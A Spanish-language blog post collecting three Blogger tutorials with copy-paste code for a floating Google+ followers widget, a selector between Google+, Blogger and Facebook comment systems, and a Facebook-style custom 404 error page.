Si ya tienes jQuery en tu plantilla blog entonces elimina la primera línea. Ahora solo cambias dónde dice el nombre de tu blog, y si lo deseas también puedes cambiar el texto que dice "Artículo original:", puedes ponerle "Más información en:" o lo que gustes. 

No olvides comentar

Seguir leyendo»

Widgets para blogger flotante de caja seguidores de Google +

Obtener una caja buena de seguidores de Google + en tu pagina blog de blogger, es lo que  te ayudare a implementarlo, es un simple código javascript, el cual esta diseñado para que se muestre a la derecha de tu pagina

Para instalarlo :

1 Ir a blogger

2 Dar un clic en “Diseño”

3 Abre un gadget “Añadir un gadget”

4 Busca el widget que dice “HTML/Javascript” y pega  las siguientes líneas de código en su interior

<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript">
//<!--
$(document).ready(function() {$(".gplusbox").hover(function() {$(this).stop().animate({right: "0"}, "medium");}, function() {$(this).stop().animate({right: "-330"}, "medium");}, 500);});
//-->
</script>
<style type="text/css">
.gplusbox{
background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyp5BS4Uc1cevBruAk6C0zgptGf08Xwxu0bExhjgbXcI4BaE2qGb5CdhNw4shucKI2BVUDqPUOpFXSmmBZw90fliH85jhGZ2lAgamFvAKSwJWO46Ln6CTBx1_46IPeXex_96kM7eY8Yzo/s400/g%252B+softglad.png") no-repeat scroll left center transparent !important;
display: block;
float: right;
height: 275px;
padding: 0 0px 0 46px;
width: 325px;
z-index: 99999;
position:fixed;
right:-330px;
top:20%;
}
.gplusbox div{
padding: 8px;
background: white;
border: 2px solid #D64937;
border-radius: 15px;
border-right: 0;
border-top-right-radius: 0;
border-bottom-right-radius: 0;
}
</style>
<div class="gplusbox"><div>
<div class="g-plus" data-action="followers" data-height="300" data-href="https://plus.google.com/114283163993086871162" data-source="blogger:blog:followers" data-width="320">
</div>
<script type="text/javascript">
      (function() {
        window.___gcfg = {'lang': 'en'};
        var po = document.createElement('script');
        po.type = 'text/javascript';
        po.async = true;
        po.src = 'https://apis.google.com/js/plusone.js';
        var s = document.getElementsByTagName('script')[0];
        s.parentNode.insertBefore(po, s);
      })();
    </script>
</div></div>

Realiza el siguiente cambio:

Borra el link que esta marcado de color azul https://plus.google.com/114283163993086871162 y pon ahí el link de tu perfil de Google +

Eso es todo ahora dale un click en “Guardar” y ubícalo donde tu quieras no olvides comentar

Seguir leyendo»

Como agregar Comentarios de Google+, Blogger y Facebook en Blogger

Hola esta vez les traego  un nuevo tutorial de como agregar a tu blog los sistemas de comentarios de Google+, Facebook y Blogger dándole así al usuario muchas mas posibilidades para comentar.

DEMO

Para agregar este truco a tu pagina blog ve a Plantilla, Editar HTML  (* Presionar CTRL + F dentro del editor para activar el cuadro de búsqueda) y busca el siguiente código:

<b:include data='post' name='post'/>

Debajo del anterior código colocas pega lo siguiente:

<b:if cond='data:blog.pageType == &quot;item&quot;'>
<div id='com-header'>
<div align='center' style='padding-top: 5px;font-size: 16px;'><b>Para Comentar Elige el Sistema de Comentario de tu Agrado:</b></div>
</div>
<div class='commentacon'>
<script language='javascript' type='text/javascript'>
function show(id) {
var oc = document.getElementById(id).style;
hide();
oc.display = &quot;block&quot;;
}
function hide() {
document.getElementById(&#39;gpluscomments&#39;).style.display = &quot;none&quot;;
document.getElementById(&#39;comments&#39;).style.display = &quot;none&quot;;
document.getElementById(&#39;comentariosFacebook&#39;).style.display = &quot;none&quot;;
}
</script>
<style type='text/css'>
#com-header {width: 550px;margin-left:10px;padding: 2px;float:left;margin-bottom: 10px;text-align: center; }
.commentacon {width: 550px;margin-left:10px; background:#edeaea ;margin-top: 5px; border: 1px solid rgb(229, 229, 229);
border-radius: 3px; }#comments, #comentariosFacebook, #gpluscomments {display:none;}#goog{margin-left:65px;display:block;}#blog{margin-left:210px;margin-top:-45px;} #face{margin-left:355px;margin-top:-45px;}#comentariosFacebook{margin-left:15px;margin-top:10px;}</style>
<div id='goog'>
<a class='googl' href='javascript:show(&apos;gpluscomments&apos;)'><img alt='comentarios google' border='0' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGMiq1o6irl75PWoYiDrrIzT5osadRc3C6qbLNRe3OZOb7LKM5oTZkY5lm6Ot2o9tuy0yoYMiJ4WF08BA55AxdgYdhB_J3mZCsDUz-KNr8Y8BohckQ7XFXX25jm3u6cyMd_D9yBI84fME/s1600/comentarios-google.gif'/></a></div>
<div id='blog'>
<a class='blogg' href='javascript:show(&apos;comments&apos;)'><img alt='comentarios blogger' border='0' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHWDhAHPl5u4d_Me-U_pGlJ0cJzpZBSRn5JjpKny7nxk3KeymUmrK64EmWY7MOZHa619H9IbtTD6KBv3KlDsyLztPjaavtj1Oep15nYLfaqjuWy8ssB3ecMZBYVA04f_rxUPOB3uLcRR0/s1600/comentarios-blogger.gif'/></a></div>
<div id='face'>
<a class='faceb' href='javascript:show(&apos;comentariosFacebook&apos;)'><img alt='comentarios facebook' border='0' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmO2_6qsxZ0yifQKuG5-NoBDf6ebix6LloWT2PFsIPyxXw4HG4S7gGNbRFAinWCN9zQ5JJJYklLWFeGCbbPSk-p4w1eB89GJn_ea5OIdXc1CAKBli26sv4XTbC1kdUFRBjr9LRavypjHY/s1600/comentarios-facebook.gif'/></a></div>
<div class='comentarios' id='gpluscomments'>
<div class='g-comments' data-first_party_property='BLOGGER' data-view_type='FILTERED_POSTMOD' data-width='550' expr:data-href='data:post.url'/>
</div>
<div class='comentarios' id='comentariosFacebook'>
<div class='fb-comments' data-colorscheme='light' data-num-posts='5' data-width='520' expr:href='data:post.canonicalUrl'/></div>
</div>
</b:if>

Ahora Cerca del anterior código se vera otro código similar al siguiente codigo:

<b:if cond='data:blog.pageType == &quot;static_page&quot;'>
<b:include data='post' name='comment_picker'/>
</b:if>
<b:if cond='data:blog.pageType == &quot;item&quot;'>
<b:include data='post' name='comment_picker'/>
</b:if>

 Ahora coloca Justo debajo del anterior código pega lo siguiente:

<b:if cond='data:blog.pageType == &quot;item&quot;'>
<div class='comentarios' id='comentariosFacebook'>
<div class='fb-comments' data-colorscheme='light' data-num-posts='1' data-width='540' expr:href='data:post.url'/></div> </b:if> 

 Ahora coloca debajo de  <body> agrega lo siguiente:

<div id="fb-root"></div><script>(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/es_ES/all.js#xfbml=1"; fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk'));</script>

Seguir leyendo»

Pagina de error 404 estilo Facebook Para tu pagina

Como veran el aspecto es casi igual a la página de error de Facebook, con un estilo sencillo pero muy funcional esta página esta hermosamente diseñada.

Para agregar este truco a tu pagina, blog entra en Configuración | Preferencias de búsqueda  y en donde vez que diga  Mensaje de página no encontrada personalizado y haz click en Editar,allí pega lo siguiente:

<h2 class="_4-dp" style="background-color: white; color: #333333; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 24px; line-height: 28px; margin: 40px 0px 20px; padding: 0px; text-align: center;">
Lo sentimos; esta página no está disponible</h2>
<h3 class="_4-dq" style="background-color: white; color: #333333; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 16px; line-height: 20px; margin: 20px 0px; padding: 0px; text-align: center;">
Es posible que el enlace que seguiste esté roto o se haya eliminado la página.</h3>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfPs2rc7xc4D9mcvmzKlbV8XN8zCm7h4lia4zmvFBItEGx2J5Msq4BfPBSJnGy9dp5y9fkE3HvGFjdFvyMA_scSaHKf4pRPzB8k8hhRLqZxOUyh2Bs2zhynrIVvLpGiRYa43YtO2y9cbQ/s1600/pagina+de+error+estilo+facebook.png" /></div>
<div class="separator" style="clear: both; text-align: center;">
<a data-gt="{&quot;target&quot;:&quot;back&quot;,&quot;marketing_page_click&quot;:&quot;1&quot;,&quot;conversion&quot;:&quot;1&quot;}" href="URL A COLOCAR" role="button" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 19.987503051757813px; text-align: center; text-decoration: none;">Volver a la página anterior</a><span style="background-color: white; color: grey; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 19.987503051757813px; text-align: center;">&nbsp; · &nbsp;</span><a data-gt="{&quot;target&quot;:&quot;home&quot;,&quot;marketing_page_click&quot;:&quot;1&quot;,&quot;conversion&quot;:&quot;1&quot;}" href="URL A COLOCAR" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 19.987503051757813px; text-align: center; text-decoration: none;">Ir a la página de inicio de Facebook</a><span style="background-color: white; color: grey; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 19.987503051757813px; text-align: center;">&nbsp; · &nbsp;</span><a data-gt="{&quot;target&quot;:&quot;help&quot;,&quot;marketing_page_click&quot;:&quot;1&quot;,&quot;conversion&quot;:&quot;1&quot;}" href="URL A COLOCAR" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 19.987503051757813px; text-align: center; text-decoration: none;">Visita el Servicio de ayuda</a>
</div>
<div>
<br /></div>
<b:include data='top' name='status-message'/>
<b:if cond='data:blog.pageType == &quot;error_page&quot;'>
<style type='text/css'>
.status-msg-wrap { position: relative; width: 100%; margin: 30px auto; padding: 10px;font-size: 100%; }
.status-msg-wrap a { padding: none; text-decoration: inherit; }
.status-msg-border {display:none; }
.status-msg-body { position: relative; width: 100%; padding: 0; text-align: inherit; z-index: auto; }
.status-msg-body h1 { font-size:150%; }
.status-msg-body li { list-style-type: circle;margin-left:50px; }
</style>
</b:if>

El color azul están resaltadas las URL'S que estan colocada al final de la página, las cuales puedes reemplazar por tus URL de tu blog pagina, respectivamente también resalte en negrita los nombres con los cuales se visualizan los enlaces.

Seguir leyendo»